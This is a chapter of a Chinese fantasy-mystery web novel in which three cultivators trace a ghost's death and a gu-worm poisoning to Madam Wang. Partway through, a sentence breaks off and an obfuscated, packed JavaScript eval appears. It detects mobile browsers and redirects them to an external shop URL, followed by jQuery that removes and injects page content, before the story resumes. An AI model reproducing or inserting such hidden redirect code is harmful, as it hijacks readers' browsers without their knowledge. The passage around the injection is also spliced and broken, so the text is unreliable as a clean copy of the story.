“师弟,劳烦你去瞧一眼王员外在做什么。”
典朝看向李黎上原,不情不愿的点了个头,还是去了。
见他一走,黎上原立马拉住陈缈的衣袖,陈缈思绪被这一拉间骤然回神。
“你怎么了?从方才见了那耳妖起便有些……心神不宁的。”
陈缈沉默片刻,忽地开口:“你可听说过耳中人?”
黎上原皱眉深思,从未曾听过。甚至在无上宗的书阁中亦未曾记载。
陈缈内心哑然失笑,问他做什么?他当然不知道,恐怕这世上除了他之外也没几个人知晓了。
“耳中人与耳妖有些相似,世人大多只知耳妖却不知耳中人。耳妖一般只会窃窃私语,可耳中人在耳朵中的话语有蛊惑人心之效,但若是心智坚定之人倒也不受影响。”
“两妖唯一的共同点便只剩下胆小了。”
黎上原在对方清冽的声音中,霎时间意识到,这一路来陈缈似乎对这些妖魔之物有些过于了解了。
陈缈曾经,也是有过一只的。可记忆太远了,远得朦胧,远得在脑海中一片稀碎。自看见那耳中人,他才被脑海中记忆里的一隅回忆轻抚。一时竟没顾上安静下来的黎上原。
两人后半路程一路沉默,直至回到镖局。
黎上原在榻上坐下,低头皱着眉思索着。下意识将手放在茶几上的右手伸出,用虎口掐住茶杯口,指尖细细摩挲着杯口,一言不发。
陈缈原本涣散的目光倏尔凝在他的指尖上,透过这熟悉的动作久远的记忆似又被撬开了一角,他极其浅显地抿了抿嘴。
两人沉默许久,各自琢磨着自己的心思。
片刻后,低着头的黎上原蓦然抬头,他不是个拐弯抹角的人。
“陈缈,你当真……只是散修吗?”
陈缈心神被这一句拽了回来,疑惑道:“是因为我说得太多了?”
他顿时哑然失笑,还以为黎上原对救命恩人永远不会怀疑,轻声道:“拂微不能因为我知道的多就平白怀疑我动机不纯吧?那可真是…太冤枉了。”
黎上原锋利的下颌绷紧几分,他自是知晓人外有人天外有天的道理。可陈缈太了解了,有些过头了。
随即他抬起眸子直视着陈缈,“陈缈,你选择与我们同行……可……可有别的什么目的?”
闻言,陈缈低低笑了,视线落在少年的脸上,似是保证般的道:“当真只是为了寻灵草突破瓶颈。”
黎上原凝望着对方眸底的温润,沉声道:“好。”
那我信。
“所以,王夫人极有可能命这耳中人蛊惑他人了。”
黎上原话音刚落,典朝便推开门径直走了进来,端起桌上的茶水一饮而尽后才道:“这王员外哪儿是忙什么事儿啊!”
说完便大大咧咧地坐在榻上挑眉看向二人,继续卖着关子。
黎上原配合,礼貌拱手恳切:“请说。”
典朝满意地点头,而后把玩着腰间的金铃道,眯着眼道:“这王员外可让我好找,书房竟还有个暗门。”
黎上原和陈缈二人看着他,满脸写着请继续。
“他在看一幅画像,没错就是你们想的那样。画像中的人与院子里里那副画像中的一样。就是那厉鬼。”
果然如此。
“可是……”典朝话锋一转,“我打听了一圈儿,也没问着这有关王员外前妻的事。倒是这王夫人却是王员外的表妹,夫妻二人自小青梅竹马,且王夫人及笄后便一直住在在王员外家里。”
典朝摊摊手,表示他只打听到了这些。
“说明二十年前王员外举家搬来文州时,要么从前的仆从根本没带过来,要么都死了个干净。”
黎上原沉声分析,迷雾只差一点就能散开。
黎上原其实在见到王夫人时便有了些想法,此刻直接倒出:“我猜,厉鬼的死恐怕与这王员外和王夫人,甚至镖局似乎均有些千丝万缕的联系,”
两人还未答话,门口焦急的脚步声由远及近。
来人正是陆丰和陆冲二人。
“三位高人!你们可算回来了!求你们救救小女!”
陆丰自今早起来没寻见几人,生怕他们不告而别,幸得陆冲提醒,今日正是王员外办招贤宴的日子,这才镇定了几分。
“莫非?镖头想到仇家了?”典朝挑眉望去。
陆丰闻言,沉默半晌后,猛地道:“大到要害我女儿性命这种深仇大恨的仇家当真是没有。可若真是韩道长所为,老夫就只能追溯到二十年前那场押镖了。”
陆丰不再隐瞒,将尘封往事全部倒出。
竟是如此,全都连起来了。
黎上原当即转头看向陆丰,只问了一句:“镖头可知陆虎去寻草药的地方叫什么?”
陆丰和陆冲皆是神情疑惑,似是不明白他为何突然问这个,但仍旧答道:“自然是知道的,陆虎这小子与老夫说过,是叫埋尸谷。”
“那二位可知,埋尸谷正是你们二十年前运镖的目的地?”
黎上原淡淡的声音此刻却像一记闷雷,猛地劈闪在了陆冲身上。
陆丰睁大了浑浊的眼睛,犹疑道:“可我当时运那两具尸体的地方是明照谷啊!可不是三位所说的埋尸谷。”
几息间,二人当即想明白了什么。
“可这……这即使是埋尸谷就是从前的明照谷,这于陆虎有何联系?”陆丰仍是没理清楚。
“埋尸谷中有只厉鬼专害人性命,而这厉鬼正是你们二十年前运的那具尸体。”黎上原沉声开口。
此话一出,陆丰的呼吸骤然加快几分,不可置信的面容上挂着丝丝悔恨,声音拔高几分:“这这这……老夫不知啊!若是知晓那谷中有厉鬼,老夫怎会让陆虎这孩子白白去送命?”
陆冲忽地双手蒙住脸宛若孩童般大哭起来,喃喃开口:“怪我!都怪我!我没能阻止他。”
他见过的,他因着偷偷好奇打开封住的铁箱子朝里看了两眼,是血,全是血,还铺满了密密麻麻的符咒。那时只得七八岁的他顿时吓得大哭起来,陆丰瞧见后立马大声呵斥,将他关在柴房里三天没给饭吃,是大哥偷摸着给他送的饭菜,还连大哥也被罚……
可他竟还因大哥去替阿箬寻药生气,连他最后一面也没瞧见。
陈缈自始至终都静静地看着两人。何必呢?事后才来后悔。
典朝已然是气愤不已,这两人分明见着箱子里是尸体,不报官也就罢了,竟还瞒了二十年!
看来这厉鬼的死果真与这王员外和王夫人脱不了干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112047|192838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
系!典朝当即打定主意,甭管这阴煞决到底在不在王夫人身上,他都得将这事儿明明白白给查清楚了!
陆丰本就干瘪的面容瞬时又苍老几分,声音沙哑道:“可,可王夫人怎会隔了二十年忽然又反悔,反悔也就罢了,若真想灭口,何故去害小女的性命?”
黎上原脑中忽地闪过那只有小半张完好无损的侧脸。
“劳烦可有你女儿的画像?”
陆丰点头,立马示意陆冲去取。半柱香不到,陆冲便气喘吁吁地将画像取了来。
画像缓缓展开,几人神情各异。
“居然跟厉鬼如此相像?!”典朝盯着这画像,语气震惊。
陈缈抬眸看向这画像片刻,才又将视线投向黎上原身上。
黎上原也是刚刚才在脑中理清这条思路,他见到阿箬的第一眼便觉得熟悉,可当时只有那小半张侧脸,纵然熟悉,他也没朝这个方向细想。
“你可记得你女儿是在哪件具体的事发生后才这样的?”黎上原再一次问了上次询问小桃的话。
陆丰凝神细想,“似乎……似乎是半年前……”
是了!!
他记起来了!在那次去寺庙上香之后!!
陆丰本带着女儿去庙里求个顺遂,那日恰好是宜向菩萨进香的日子。他父女俩上完香出来时正巧偶遇了为求孩子前来供奉香火的王员外一家。
似乎当时王员外还格外留意阿箬,甚至多问了几句!
是了!是了!就是这样!
“当真是狠毒。竟然为了毁你家女儿容貌,特意查清楚你女儿喜好后,就立即开了家胭脂铺,引你女儿购入。不仅将蛊虫给下了进去,还将自己摘得干干净,一箭双雕啊!”
黎上原不禁对这妇人的谋划感到可怕,若一切猜想成立。她一介妇人凭一己之力杀了夫君的发妻与夫君的孩儿,恐怕这二十年来日复一日地积累善德也是心中害怕所做的自欺自人的补救罢了。
就是不知这其中王员外又是充当着一个什么样的角色了。
陈缈心下暗自叹气,有此等堪作谋士的计谋,却耽于儿女情长,当真是,舍本逐末。
“加之陈道长又是她引荐于你的,怕是那耳中人就是躲藏在陈道长身上,通过每次的问诊,从而进入你女儿的耳朵里,说些蛊惑她自尽的言论。”
黎上原越说越对这妇人的心机感到可怕。
“那可怎么办啊三位,要如何才能让她收回蛊虫?”陆丰瞬时老泪纵横地望向三人
典朝摩挲着下巴,若是将那道长或者王夫人绑过来用刑逼问,定是能将蛊虫引出来。
黎上原也罕见地沉默了。
解决倒是好解决,可如何才能做到最好呢!这枉死的数条人命又该怎么办?
陈缈偏头望向紧皱着眉的黎上原,内心默默叹了口气,轻声提醒道:“白羽姑娘不是给了我们一支幻羽吗?”
黎上原顿时转头看向他,“可这…只有幻境的功效。”
“对此等人,便是要让她真实的内心摊开了暴露在她最在乎的人眼皮子底下,她才能真正感到害怕。这才是最真实有效的法子。”
陈缈静静看着他。
懂了吗?蠢徒弟!
典朝当即挑眉,高啊高啊着实高啊!!